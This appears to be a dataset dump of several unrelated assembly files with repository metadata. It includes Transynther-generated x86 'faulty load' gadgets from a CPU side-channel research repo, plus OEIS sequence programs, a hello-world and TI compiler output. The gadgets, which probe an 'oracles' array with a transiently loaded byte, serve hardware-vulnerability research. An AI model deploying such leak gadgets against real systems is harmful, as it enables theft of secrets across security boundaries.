pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0xcf94, %r12
nop
nop
nop
inc %r14
mov $0x5152535455565758, %rbx
movq %rbx, (%r12)
nop
nop
nop
nop
sub $53242, %r12
// Store
lea addresses_WT+0x15cec, %r8
nop
nop
nop
nop
nop
inc %rdi
movw $0x5152, (%r8)
nop
nop
nop
nop
nop
cmp $40485, %rsi
// Load
lea addresses_UC+0x8304, %rdx
nop
nop
nop
nop
and $3160, %r12
movups (%rdx), %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
and %r12, %r12
// Faulty Load
lea addresses_WC+0x10c94, %rbx
nop
add $26178, %rdx
mov (%rbx), %r12d
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 44.272727 | 2,999 | 0.658727 |
bda9969403163a134d990a4a4a0357f7669d2430 | 1,001 | asm | Assembly | programs/oeis/157/A157267.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/157/A157267.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/157/A157267.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A157267: a(n) = 10368*n^2 - 4896*n + 577.
; 6049,32257,79201,146881,235297,344449,474337,624961,796321,988417,1201249,1434817,1689121,1964161,2259937,2576449,2913697,3271681,3650401,4049857,4470049,4910977,5372641,5855041,6358177,6882049,7426657,7992001,8578081,9184897,9812449,10460737,11129761,11819521,12530017,13261249,14013217,14785921,15579361,16393537,17228449,18084097,18960481,19857601,20775457,21714049,22673377,23653441,24654241,25675777,26718049,27781057,28864801,29969281,31094497,32240449,33407137,34594561,35802721,37031617,38281249,39551617,40842721,42154561,43487137,44840449,46214497,47609281,49024801,50461057,51918049,53395777,54894241,56413441,57953377,59514049,61095457,62697601,64320481,65964097,67628449,69313537,71019361,72745921,74493217,76261249,78050017,79859521,81689761,83540737,85412449,87304897,89218081,91152001,93106657,95082049,97078177,99095041,101132641,103190977
seq $0,157266 ; a(n) = 1728*n - 408.
pow $0,2
sub $0,1742400
div $0,82944
mul $0,288
add $0,6049
| 100.1 | 858 | 0.84016 |
674d94608623deb48b7477b7656ae0265dfde003 | 646 | asm | Assembly | uebung4/u4a9.asm | Sebb767/rechnerarchitektur | 3df204684d66b3305110ab3ef882869ffc76a291 | [
"WTFPL"
] | 1 | 2016-05-02T12:16:44.000Z | 2016-05-02T12:16:44.000Z | uebung4/u4a9.asm | Sebb767/rechnerarchitektur | 3df204684d66b3305110ab3ef882869ffc76a291 | [
"WTFPL"
] | null | null | null | uebung4/u4a9.asm | Sebb767/rechnerarchitektur | 3df204684d66b3305110ab3ef882869ffc76a291 | [
"WTFPL"
] | null | null | null | section .text
global main
main:
call looping
looping:
call print ; print hw
mov eax, [myc] ; get the variable
inc eax ; increase
mov [myc], eax ; save the new state
cmp eax, 11 ; compare if its 11
jne looping ; if not, again
call end ; exit
print:
mov eax, 4 ; sys call number (sys_write)
mov ebx, 1 ; stdout file descriptor
mov ecx, mymsg ; message
mov edx, mylen ; lenght
int 80h ; syscall (kernel)
ret ; return
end:
mov eax, 1 ; sys_exit
mov ebx, 0 ; error-code = 1
int 80h ; invoke kernel again
section .data
mymsg db "Hello, World!", 0xa
mylen equ $-mymsg
section .bss
myc: resb 1 ; reserve 1 byte
| 14.355556 | 41 | 0.664087 |
aac0033d4223ccef1a75496e4f5451deca94ece2 | 254 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_dos_catalog_next_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_dos_catalog_next_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_dos_catalog_next_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; unsigned char esx_dos_catalog_next(struct esx_cat *cat)
SECTION code_esxdos
PUBLIC _esx_dos_catalog_next_fastcall
EXTERN asm_esx_dos_catalog_next
_esx_dos_catalog_next_fastcall:
push iy
call asm_esx_dos_catalog_next
pop iy
ret
| 14.941176 | 57 | 0.80315 |
7b10b6d9870d400d20702758a4d1813e5e92e4e2 | 5,290 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1875.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xe825, %r12
clflush (%r12)
nop
nop
nop
nop
cmp %r8, %r8
movups (%r12), %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
nop
cmp $56541, %rsi
lea addresses_A_ht+0x2ed5, %rsi
lea addresses_D_ht+0x5225, %rdi
nop
nop
nop
nop
cmp $64764, %r13
mov $100, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $35254, %r12
lea addresses_A_ht+0x87f5, %rsi
lea addresses_normal_ht+0xef55, %rdi
nop
cmp %rbp, %rbp
mov $26, %rcx
rep movsb
nop
nop
xor $37546, %r8
lea addresses_normal_ht+0x2025, %r11
nop
nop
nop
nop
nop
cmp %r13, %r13
movups (%r11), %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %r9
push %rdx
push %rsi
// Store
lea addresses_D+0xc37d, %rsi
nop
nop
xor %r12, %r12
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
add %rsi, %rsi
// Faulty Load
lea addresses_RW+0x175a5, %r8
nop
nop
sub %rdx, %rdx
mov (%r8), %r11d
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 41.007752 | 2,999 | 0.661248 |
bb0f6cfd3716e23938996a0ff6e055847a79d9af | 654 | asm | Assembly | oeis/234/A234506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/234/A234506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/234/A234506.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A234506: a(n) = binomial(9*n+3, n)/(3*n+1).
; Submitted by Jon Maiga
; 1,3,30,406,6327,107019,1909908,35399520,674842149,13147742322,260626484118,5239783981320,106585537781775,2189670831627678,45366284782209600,946815917066740800,19887218367823853937,420076689292591271325,8917736795123409615060,190161017612160607167948,4071301730663135449185705,87482752526767915126257195,1886011700221578007853938800,40782473900593864388156581920,884301274289960703919665166545,19223300599505379918282598488684,418862439332284136629589229385692,9146499204655088751232186120719720
sub $1,$0
mul $0,8
add $0,2
sub $1,1
bin $1,$0
add $0,1
mul $1,3
div $1,$0
mov $0,$1
| 46.714286 | 496 | 0.848624 |
b6cec4ac58ade1b2b9ffcf628943d14c80b165ef | 627 | asm | Assembly | oeis/007/A007556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/007/A007556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/007/A007556.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A007556: Number of 8-ary trees with n vertices.
; 1,1,8,92,1240,18278,285384,4638348,77652024,1329890705,23190029720,410333440536,7349042994488,132969010888280,2426870706415800,44627576949364104,826044435409399800,15378186970730687400,287756293703544823872,5409093674555090316300,102094541350737142767560,1934134063853856881106420,36764463405017717385803280,700968884986728238463263460,13402495999753060831200509400,256915520489502550049876064108,4936572617413396631364993087648,95063520625867660399522048201184,1834368025289757688677644728144136
mov $1,$0
mul $1,8
mov $2,$0
trn $2,1
bin $1,$2
add $2,1
div $1,$2
mov $0,$1
| 52.25 | 498 | 0.869219 |
09492c9195ce4c8c87ec34178d9e55a74d2091a2 | 136,333 | asm | Assembly | tmp1/c55x-sim2/foo/Debug/csl_rtc_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | 1 | 2020-08-27T11:31:13.000Z | 2020-08-27T11:31:13.000Z | tmp1/c55x-sim2/foo/Debug/csl_rtc_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | null | null | null | tmp1/c55x-sim2/foo/Debug/csl_rtc_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | null | null | null | ;*******************************************************************************
;* TMS320C55x C/C++ Codegen PC v4.4.1 *
;* Date/Time created: Sat Sep 29 23:08:48 2018 *
;*******************************************************************************
.compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf
.mmregs
.cpl_on
.arms_on
.c54cm_off
.asg AR6, FP
.asg XAR6, XFP
.asg DPH, MDP
.model call=c55_std
.model mem=large
.noremark 5002 ; code respects overwrite rules
;*******************************************************************************
;* GLOBAL FILE PARAMETERS *
;* *
;* Architecture : TMS320C55x *
;* Optimizing for : Speed *
;* Memory : Large Model (23-Bit Data Pointers) *
;* Calls : Normal Library ASM calls *
;* Debug Info : Standard TI Debug Information *
;*******************************************************************************
$C$DW$CU .dwtag DW_TAG_compile_unit
.dwattr $C$DW$CU, DW_AT_name("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated")
.dwattr $C$DW$CU, DW_AT_TI_version(0x01)
.dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug")
;******************************************************************************
;* CINIT RECORDS *
;******************************************************************************
.sect ".cinit"
.align 1
.field 2,16
.field _rtcTimeCount+0,24
.field 0,8
.field 255,32 ; _rtcTimeCount @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _secIntrCnt+0,24
.field 0,8
.field 0,16 ; _secIntrCnt @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs_StAtE+0,24
.field 0,8
.field 1,16 ; _PaSs_StAtE @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs+0,24
.field 0,8
.field 0,16 ; _PaSs @ 0
$C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("printf")
.dwattr $C$DW$1, DW_AT_TI_symbol_name("_printf")
.dwattr $C$DW$1, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$1, DW_AT_declaration
.dwattr $C$DW$1, DW_AT_external
$C$DW$2 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$2, DW_AT_type(*$C$DW$T$89)
$C$DW$3 .dwtag DW_TAG_unspecified_parameters
.dwendtag $C$DW$1
$C$DW$4 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_reset")
.dwattr $C$DW$4, DW_AT_TI_symbol_name("_RTC_reset")
.dwattr $C$DW$4, DW_AT_declaration
.dwattr $C$DW$4, DW_AT_external
$C$DW$5 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_start")
.dwattr $C$DW$5, DW_AT_TI_symbol_name("_RTC_start")
.dwattr $C$DW$5, DW_AT_declaration
.dwattr $C$DW$5, DW_AT_external
$C$DW$6 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_stop")
.dwattr $C$DW$6, DW_AT_TI_symbol_name("_RTC_stop")
.dwattr $C$DW$6, DW_AT_declaration
.dwattr $C$DW$6, DW_AT_external
$C$DW$7 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_config")
.dwattr $C$DW$7, DW_AT_TI_symbol_name("_RTC_config")
.dwattr $C$DW$7, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$7, DW_AT_declaration
.dwattr $C$DW$7, DW_AT_external
$C$DW$8 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$8, DW_AT_type(*$C$DW$T$42)
.dwendtag $C$DW$7
$C$DW$9 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_getConfig")
.dwattr $C$DW$9, DW_AT_TI_symbol_name("_RTC_getConfig")
.dwattr $C$DW$9, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$9, DW_AT_declaration
.dwattr $C$DW$9, DW_AT_external
$C$DW$10 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$10, DW_AT_type(*$C$DW$T$42)
.dwendtag $C$DW$9
$C$DW$11 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_setTime")
.dwattr $C$DW$11, DW_AT_TI_symbol_name("_RTC_setTime")
.dwattr $C$DW$11, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$11, DW_AT_declaration
.dwattr $C$DW$11, DW_AT_external
$C$DW$12 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$12, DW_AT_type(*$C$DW$T$44)
.dwendtag $C$DW$11
$C$DW$13 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_getTime")
.dwattr $C$DW$13, DW_AT_TI_symbol_name("_RTC_getTime")
.dwattr $C$DW$13, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$13, DW_AT_declaration
.dwattr $C$DW$13, DW_AT_external
$C$DW$14 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$14, DW_AT_type(*$C$DW$T$44)
.dwendtag $C$DW$13
$C$DW$15 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_setDate")
.dwattr $C$DW$15, DW_AT_TI_symbol_name("_RTC_setDate")
.dwattr $C$DW$15, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$15, DW_AT_declaration
.dwattr $C$DW$15, DW_AT_external
$C$DW$16 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$16, DW_AT_type(*$C$DW$T$46)
.dwendtag $C$DW$15
$C$DW$17 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_getDate")
.dwattr $C$DW$17, DW_AT_TI_symbol_name("_RTC_getDate")
.dwattr $C$DW$17, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$17, DW_AT_declaration
.dwattr $C$DW$17, DW_AT_external
$C$DW$18 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$18, DW_AT_type(*$C$DW$T$46)
.dwendtag $C$DW$17
$C$DW$19 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_setAlarm")
.dwattr $C$DW$19, DW_AT_TI_symbol_name("_RTC_setAlarm")
.dwattr $C$DW$19, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$19, DW_AT_declaration
.dwattr $C$DW$19, DW_AT_external
$C$DW$20 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$20, DW_AT_type(*$C$DW$T$48)
.dwendtag $C$DW$19
$C$DW$21 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_setPeriodicInterval")
.dwattr $C$DW$21, DW_AT_TI_symbol_name("_RTC_setPeriodicInterval")
.dwattr $C$DW$21, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$21, DW_AT_declaration
.dwattr $C$DW$21, DW_AT_external
$C$DW$22 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$22, DW_AT_type(*$C$DW$T$36)
.dwendtag $C$DW$21
$C$DW$23 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_eventEnable")
.dwattr $C$DW$23, DW_AT_TI_symbol_name("_RTC_eventEnable")
.dwattr $C$DW$23, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$23, DW_AT_declaration
.dwattr $C$DW$23, DW_AT_external
$C$DW$24 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$24, DW_AT_type(*$C$DW$T$38)
.dwendtag $C$DW$23
$C$DW$25 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_getEventId")
.dwattr $C$DW$25, DW_AT_TI_symbol_name("_RTC_getEventId")
.dwattr $C$DW$25, DW_AT_type(*$C$DW$T$38)
.dwattr $C$DW$25, DW_AT_declaration
.dwattr $C$DW$25, DW_AT_external
$C$DW$26 .dwtag DW_TAG_subprogram, DW_AT_name("RTC_setCallback")
.dwattr $C$DW$26, DW_AT_TI_symbol_name("_RTC_setCallback")
.dwattr $C$DW$26, DW_AT_type(*$C$DW$T$62)
.dwattr $C$DW$26, DW_AT_declaration
.dwattr $C$DW$26, DW_AT_external
$C$DW$27 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$27, DW_AT_type(*$C$DW$T$50)
$C$DW$28 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$28, DW_AT_type(*$C$DW$T$52)
.dwendtag $C$DW$26
$C$DW$29 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_plug")
.dwattr $C$DW$29, DW_AT_TI_symbol_name("_IRQ_plug")
.dwattr $C$DW$29, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$29, DW_AT_declaration
